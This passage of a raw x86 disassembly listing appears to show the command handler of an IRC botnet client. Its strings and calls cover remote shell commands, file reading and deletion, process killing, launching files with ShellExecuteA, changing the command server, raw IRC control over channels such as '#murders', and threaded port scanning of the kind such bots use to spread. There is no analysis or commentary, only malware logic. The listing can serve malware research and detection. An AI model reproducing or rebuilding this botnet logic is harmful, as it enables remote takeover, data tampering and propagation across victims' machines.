		jz	loc_40E538
		lea	edx, [eax+1]


loc_40BF8F:				; CODE XREF: sub_408A18+357Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40BF8F
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		lea	esi, [eax+1]


loc_40BFA0:				; CODE XREF: sub_408A18+358Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40BFA0
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset dword_426F84
		push	eax
		call	sub_4145E5
		push	0
		push	0
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	esi
		push	[ebp+var_C]
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_401F73
		add	esp, 2Ch
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40C005:				; CODE XREF: sub_408A18+1FD0j
					; sub_408A18+1FE4j
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		lea	edx, [eax+1]


loc_40C012:				; CODE XREF: sub_408A18+35FFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40C012
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		lea	esi, [eax+1]


loc_40C023:				; CODE XREF: sub_408A18+3610j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40C023
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		push	0
		push	0
		push	esi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	esi
		push	[ebp+var_C]
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_401F73


loc_40C068:				; CODE XREF: sub_408A18+56F9j
		add	esp, 20h
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40C070:				; CODE XREF: sub_408A18+1FA8j
					; sub_408A18+1FBCj
		cmp	[ebp+var_14], 0
		jz	loc_408C96
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408C96
		push	eax
		push	[ebp+var_C]
		call	sub_401DEF
		push	[ebp+var_C]
		lea	eax, [ebp+var_2F0]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax
		call	sub_4145E5
		add	esp, 14h


loc_40C0AF:				; CODE XREF: sub_408A18+3C86j
					; sub_408A18+50B9j
		cmp	[ebp+var_8], 0
		jnz	short loc_40C0D2
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_408A18+369Bj
					; sub_408A18+4871j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		jmp	loc_40E6F7
; ---------------------------------------------------------------------------


loc_40C0E3:				; CODE XREF: sub_408A18+1E68j
					; sub_408A18+1E7Cj
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40E538
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40C17E
		push	ebx
		push	[ebp+var_14]
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jz	short loc_40C16C
		push	esi
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	[ebp+var_A8]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_4145E5
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_2F0]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax
		call	sub_4145E5
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40C31F
; ---------------------------------------------------------------------------


loc_40C16C:				; CODE XREF: sub_408A18+3700j
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	loc_40C31F
; ---------------------------------------------------------------------------


loc_40C17E:				; CODE XREF: sub_408A18+36E9j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_4119C3
		add	esp, 0Ch
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	[ebp+var_C]
		lea	eax, [ebp+var_2F0]
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 24h
		jmp	loc_40C31F
; ---------------------------------------------------------------------------


loc_40C1C8:				; CODE XREF: sub_408A18+1B97j
					; sub_408A18+1BABj
		push	offset aR	; "r"
		push	[ebp+var_C]
		call	sub_414DC3
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jz	short loc_40C246
		push	edi
		mov	esi, 200h
		push	esi
		push	eax
		call	sub_415E55
		add	esp, 0Ch
		jmp	short loc_40C220
; ---------------------------------------------------------------------------


loc_40C1F5:				; CODE XREF: sub_408A18+380Aj
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		push	edi
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		call	sub_415E55
		add	esp, 20h


loc_40C220:				; CODE XREF: sub_408A18+37DBj
		test	eax, eax
		jnz	short loc_40C1F5
		push	edi
		call	sub_4149C3
		push	[ebp+var_C]
		lea	eax, [ebp+var_2F0]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax
		call	sub_4145E5
		add	esp, 10h
		jmp	loc_40C31F
; ---------------------------------------------------------------------------


loc_40C246:				; CODE XREF: sub_408A18+37C9j
		push	[ebp+var_C]
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"


loc_40C24E:				; CODE XREF: sub_408A18+32D1j
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40C2FC
; ---------------------------------------------------------------------------


loc_40C25C:				; CODE XREF: sub_408A18+1B6Fj
					; sub_408A18+1B83j
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_C]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_40E538
		mov	edi, ebx
		dec	edi


loc_40C280:				; CODE XREF: sub_408A18+386Ej
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_40C280
		mov	esi, offset asc_4216D8 ; "\n"
		push	ebx
		movsw
		call	sub_40F0C3
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40C2A7
		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	short loc_40C2F4
; ---------------------------------------------------------------------------


loc_40C2A7:				; CODE XREF: sub_408A18+3886j
		push	ebx
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_40C31F
; ---------------------------------------------------------------------------


loc_40C2B8:				; CODE XREF: sub_408A18+1B47j
					; sub_408A18+1B5Bj
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_C]
		push	[ebp+var_14]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40E538
		push	eax
		call	sub_4068EB
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40C2EF
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	short loc_40C2F4
; ---------------------------------------------------------------------------


loc_40C2EF:				; CODE XREF: sub_408A18+38CEj
		push	offset aMircCommandSen ; "[mIRC]: Command sent."


loc_40C2F4:				; CODE XREF: sub_408A18+1C69j
					; sub_408A18+1C73j ...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_40C2FC:				; CODE XREF: sub_408A18+1BE4j
					; sub_408A18+1C41j ...
		cmp	[ebp+var_8], 0
		jnz	short loc_40C31F
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40C31F:				; CODE XREF: sub_408A18+374Fj
					; sub_408A18+3761j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		pop	ecx
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40C331:				; CODE XREF: sub_408A18+1B1Fj
					; sub_408A18+1B33j
		push	0
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		push	[ebp+var_C]
		call	sub_4041E2
		push	[ebp+var_C]
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_40BDE3
; ---------------------------------------------------------------------------


loc_40C351:				; CODE XREF: sub_408A18+1AF7j
					; sub_408A18+1B0Bj
		push	20h
		push	[ebp+var_C]
		call	ds:dword_4200CC	; SetFileAttributesA
		push	[ebp+var_C]
		call	ds:dword_4200E4	; DeleteFileA
		test	eax, eax
		jz	short loc_40C373
		push	[ebp+var_C]
		push	offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'."
		jmp	short loc_40C37E
; ---------------------------------------------------------------------------


loc_40C373:				; CODE XREF: sub_408A18+394Fj
		push	offset aFile	; "[FILE]:"
		call	sub_406826
		push	eax


loc_40C37E:				; CODE XREF: sub_408A18+3959j
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D


loc_40C38F:				; CODE XREF: sub_408A18+3ABAj
		add	esp, 10h


loc_40C392:				; CODE XREF: sub_408A18+3AD2j
					; sub_408A18+4F2Ej
		cmp	[ebp+var_8], 0
		jnz	loc_40A140
		push	0
		jmp	loc_40A125
; ---------------------------------------------------------------------------


loc_40C3A3:				; CODE XREF: sub_408A18+1ACFj
					; sub_408A18+1AE3j
		push	[ebp+var_C]
		call	sub_414972
		push	eax
		call	sub_4085E4
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+var_C]
		cmp	eax, esi
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40C3CA
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40C3CF
; ---------------------------------------------------------------------------


loc_40C3CA:				; CODE XREF: sub_408A18+39A9j
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40C3CF:				; CODE XREF: sub_408A18+39B0j
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jnz	loc_40A143
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h
		jmp	loc_40A143
; ---------------------------------------------------------------------------


loc_40C404:				; CODE XREF: sub_408A18+1AA7j
					; sub_408A18+1ABBj
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_408206
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_40C43D
		push	[ebp+var_C]
		push	offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s"


loc_40C42E:				; CODE XREF: sub_408A18+2C47j
		lea	eax, [ebp+var_2F0]


loc_40C434:				; CODE XREF: sub_408A18+2F99j
					; sub_408A18+3A5Ej ...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40C43D:				; CODE XREF: sub_408A18+2C5Cj
					; sub_408A18+2F3Dj ...
		cmp	[ebp+var_8], esi
		jnz	loc_40A140
		push	esi
		jmp	loc_40A125
; ---------------------------------------------------------------------------


loc_40C44C:				; CODE XREF: sub_408A18+1A7Fj
					; sub_408A18+1A93j
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_4]
		call	sub_408206
		add	esp, 1Ch
		push	[ebp+var_C]
		cmp	eax, 1
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40C478
		push	offset aProcProcessK_1 ; "[PROC]: Process killed: %s"
		jmp	short loc_40C434
; ---------------------------------------------------------------------------


loc_40C478:				; CODE XREF: sub_408A18+3A57j
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	short loc_40C434
; ---------------------------------------------------------------------------


loc_40C47F:				; CODE XREF: sub_408A18+1A57j
					; sub_408A18+1A6Bj
		mov	esi, [ebp+var_C]
		push	esi
		call	dword_43585C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40C4A7
		push	2
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_4358D8	; gethostbyaddr
		test	eax, eax
		jz	short loc_40C4D7
		push	dword ptr [eax]
		jmp	short loc_40C4C0
; ---------------------------------------------------------------------------


loc_40C4A7:				; CODE XREF: sub_408A18+3A77j
		push	esi
		call	dword_435848	; gethostbyname
		test	eax, eax
		jz	short loc_40C4D7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_435868	; inet_ntoa
		push	eax


loc_40C4C0:				; CODE XREF: sub_408A18+3A8Dj
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
		push	eax
		call	sub_4145E5
		jmp	loc_40C38F
; ---------------------------------------------------------------------------


loc_40C4D7:				; CODE XREF: sub_408A18+3A89j
					; sub_408A18+3A98j
		lea	eax, [ebp+var_2F0]
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	loc_40C392
; ---------------------------------------------------------------------------


loc_40C4EF:				; CODE XREF: sub_408A18+1A2Fj
					; sub_408A18+1A43j
		push	7Fh
		push	[ebp+var_C]
		push	[ebp+arg_14]
		call	sub_414670
		push	[ebp+var_C]
		lea	eax, [ebp+var_2F0]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax
		call	sub_4145E5
		add	esp, 18h
		jmp	loc_40DA0E
; ---------------------------------------------------------------------------


loc_40C518:				; CODE XREF: sub_408A18+1A07j
					; sub_408A18+1A1Bj
		push	5
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_C]
		push	offset aOpen	; "open"
		push	esi
		call	dword_4358F0	; ShellExecuteA
		push	[ebp+var_C]
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40C544
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_40C434
; ---------------------------------------------------------------------------


loc_40C544:				; CODE XREF: sub_408A18+3B20j
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_40C434
; ---------------------------------------------------------------------------


loc_40C54E:				; CODE XREF: sub_408A18+19DFj
					; sub_408A18+19F3j
		mov	eax, [ebp+var_C]
		mov	cl, [eax]
		mov	byte_42BED0, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_40D9FF
; ---------------------------------------------------------------------------


loc_40C567:				; CODE XREF: sub_408A18+19B7j
					; sub_408A18+19CBj
		push	[ebp+var_C]
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_40E538
		push	[ebp+var_C]
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		push	0
		push	0
		lea	eax, [ebp+var_C8]
		push	2
		push	eax
		call	sub_40FD06
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		jmp	loc_40BD29
; ---------------------------------------------------------------------------


loc_40C5B8:				; CODE XREF: sub_408A18+198Fj
					; sub_408A18+19A3j
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_408C96
		push	edi
		call	sub_414972
		mov	esi, 1F4h
		cmp	eax, esi
		pop	ecx
		jge	loc_408C96
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056B0
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420000	; Sleep
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	dword_4358F4	; closesocket
		push	[ebp+var_18]
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_436694[eax]
		call	ds:dword_4200F0	; TerminateThread
		push	edi
		call	sub_414972
		imul	eax, 234h
		and	dword_436694[eax], 0
		push	edi
		call	sub_414972
		imul	eax, 234h
		and	byte ptr dword_436480[eax], 0
		pop	ecx
		pop	ecx
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40C666:				; CODE XREF: sub_408A18+1967j
					; sub_408A18+197Bj
		mov	edi, [ebp+var_C]
		push	4
		mov	esi, offset aAll ; "all"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40C6A3
		call	sub_4125E2
		test	eax, eax
		jle	short loc_40C68B
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40DAC2
; ---------------------------------------------------------------------------


loc_40C68B:				; CODE XREF: sub_408A18+3C66j
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."


loc_40C690:				; CODE XREF: sub_408A18+467Aj
					; sub_408A18+4699j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	loc_40C0AF
; ---------------------------------------------------------------------------


loc_40C6A3:				; CODE XREF: sub_408A18+3C5Dj
		mov	edi, [ebp+var_20]
		jmp	short loc_40C715
; ---------------------------------------------------------------------------


loc_40C6A8:				; CODE XREF: sub_408A18+3D01j
		mov	esi, [ebp+edi*4+var_A8]
		test	esi, esi
		jz	loc_408C96
		push	esi
		call	sub_414972
		push	eax
		call	sub_41255A
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2F0]
		jz	short loc_40C6D7
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_40C6DC
; ---------------------------------------------------------------------------


loc_40C6D7:				; CODE XREF: sub_408A18+3CB6j
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_40C6DC:				; CODE XREF: sub_408A18+3CBDj
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jnz	short loc_40C708
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40C708:				; CODE XREF: sub_408A18+3CD1j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_40C715:				; CODE XREF: sub_408A18+3C8Ej
		inc	edi
		cmp	edi, 20h
		jb	short loc_40C6A8
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40C720:				; CODE XREF: sub_408A18+193Fj
					; sub_408A18+1953j
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_C]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	short loc_40C7AD
; ---------------------------------------------------------------------------


loc_40C757:				; CODE XREF: sub_408A18+1917j
					; sub_408A18+192Bj
		push	[ebp+var_C]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	[ebp+var_C]
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	short loc_40C7AD
; ---------------------------------------------------------------------------


loc_40C771:				; CODE XREF: sub_408A18+18EFj
					; sub_408A18+1903j
		push	[ebp+ebx+var_A0]
		push	[ebp+var_C]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	[ebp+var_C]
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_40BDE3
; ---------------------------------------------------------------------------


loc_40C795:				; CODE XREF: sub_408A18+18C7j
					; sub_408A18+18DBj
		push	[ebp+var_C]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	[ebp+var_C]
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."


loc_40C7AD:				; CODE XREF: sub_408A18+34FFj
					; sub_408A18+3D3Dj ...
		call	sub_401F73


loc_40C7B2:				; CODE XREF: sub_408A18+3565j
		add	esp, 14h
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40C7BA:				; CODE XREF: sub_408A18+188Dj
					; sub_408A18+18A1j
		mov	cl, byte_42B22A
		and	[ebp+arg_0], 0
		test	cl, cl
		mov	edx, offset byte_42B22A
		jz	loc_408C96
		mov	eax, edx


loc_40C7D3:				; CODE XREF: sub_408A18+3DC4j
		inc	[ebp+arg_0]
		add	eax, 0Bh
		cmp	byte ptr [eax],	0
		jnz	short loc_40C7D3
		test	cl, cl
		jz	loc_408C96
		mov	[ebp+var_1C], edx


loc_40C7E9:				; CODE XREF: sub_408A18+40A2j
		push	9
		call	sub_412661
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_40C839
		push	ecx
		lea	eax, [ebp+var_2F0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 20h
		jmp	loc_40CAB0
; ---------------------------------------------------------------------------


loc_40C839:				; CODE XREF: sub_408A18+3DEBj
		or	[ebp+var_4D8], 0FFFFFFFFh
		xor	esi, esi
		cmp	dword_42B068, esi
		mov	[ebp+var_4DC], 0C8h
		mov	[ebp+var_4F0], 5
		mov	[ebp+var_4EC], esi
		mov	[ebp+arg_0], esi
		jz	short loc_40C8CC
		mov	edx, [ebp+var_1C]
		add	edx, 0FFFFFFF6h
		mov	edi, offset dword_42B068


loc_40C872:				; CODE XREF: sub_408A18+3E96j
		mov	esi, edx
		lea	eax, [edi-28h]


loc_40C877:				; CODE XREF: sub_408A18+3E7Bj
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40C89B
		test	cl, cl
		jz	short loc_40C895
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40C89B
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40C877


loc_40C895:				; CODE XREF: sub_408A18+3E69j
		xor	esi, esi
		xor	eax, eax
		jmp	short loc_40C8A2
; ---------------------------------------------------------------------------


loc_40C89B:				; CODE XREF: sub_408A18+3E65j
					; sub_408A18+3E73j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		xor	esi, esi


loc_40C8A2:				; CODE XREF: sub_408A18+3E81j
		cmp	eax, esi
		jz	short loc_40C8B2
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], esi
		jnz	short loc_40C872
		jmp	short loc_40C8CC
; ---------------------------------------------------------------------------


loc_40C8B2:				; CODE XREF: sub_408A18+3E8Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42B068[ecx]
		mov	[ebp+var_4F4], ecx
		mov	[ebp+var_4D8], eax


loc_40C8CC:				; CODE XREF: sub_408A18+3E4Dj
					; sub_408A18+3E98j
		cmp	[ebp+var_4F4], esi
		jz	loc_40CAD7
		push	10h
		pop	esi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_28], esi
		call	dword_435760	; getsockname
		mov	al, [ebp+var_45B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_68C]
		push	eax
		call	sub_414670
		xor	eax, eax
		cmp	[ebp+var_45B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_68C]
		push	eax
		call	sub_414640
		add	esp, 14h
		xor	bl, bl
		test	esi, esi
		jle	short loc_40C96C


loc_40C94C:				; CODE XREF: sub_408A18+3F52j
		test	eax, eax
		jz	short loc_40C96C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_68C]
		push	30h
		push	eax
		call	sub_414640
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, esi
		jl	short loc_40C94C


loc_40C96C:				; CODE XREF: sub_408A18+3F32j
					; sub_408A18+3F36j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_A0]
		mov	[ebp+var_4F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4D0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4CC], eax
		mov	ebx, 80h
		lea	eax, [ebp+var_5F8]
		push	ebx
		push	eax
		mov	[ebp+var_4C8], 1
		call	sub_41483D
		xor	ecx, ecx
		add	esp, 0Ch
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 420AEAh
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40C9D4
		push	eax
		lea	eax, [ebp+var_578]
		push	ebx
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		jmp	short loc_40C9DB
; ---------------------------------------------------------------------------


loc_40C9D4:				; CODE XREF: sub_408A18+3FA7j
		and	[ebp+var_578], 0


loc_40C9DB:				; CODE XREF: sub_408A18+3FBAj
		xor	esi, esi
		cmp	[ebp+var_4C8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40C9EF
		mov	eax, offset aSequential	; "Sequential"


loc_40C9EF:				; CODE XREF: sub_408A18+3FD0j
		push	[ebp+var_4DC]
		lea	ecx, [ebp+var_68C]
		push	[ebp+var_4EC]
		push	[ebp+var_4F0]
		push	[ebp+var_4F4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_412471
		add	esp, 2Ch
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_68C]
		push	eax
		push	offset sub_401B9D
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_4E8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40CACD
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40CA82:				; CODE XREF: sub_408A18+40BDj
		cmp	[ebp+var_8], esi
		jnz	short loc_40CAA3
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40CAA3:				; CODE XREF: sub_408A18+406Dj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_40CAB0:				; CODE XREF: sub_408A18+3E1Cj
		add	[ebp+var_1C], 0Bh
		mov	eax, [ebp+var_1C]
		cmp	byte ptr [eax],	0
		jnz	loc_40C7E9
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40CAC5:				; CODE XREF: sub_408A18+40BBj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40CACD:				; CODE XREF: sub_408A18+404Dj
		cmp	[ebp+var_4C4], esi
		jz	short loc_40CAC5
		jmp	short loc_40CA82
; ---------------------------------------------------------------------------


loc_40CAD7:				; CODE XREF: sub_408A18+3EBAj
		lea	eax, [ebp+var_2F0]
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		push	eax
		call	sub_4145E5
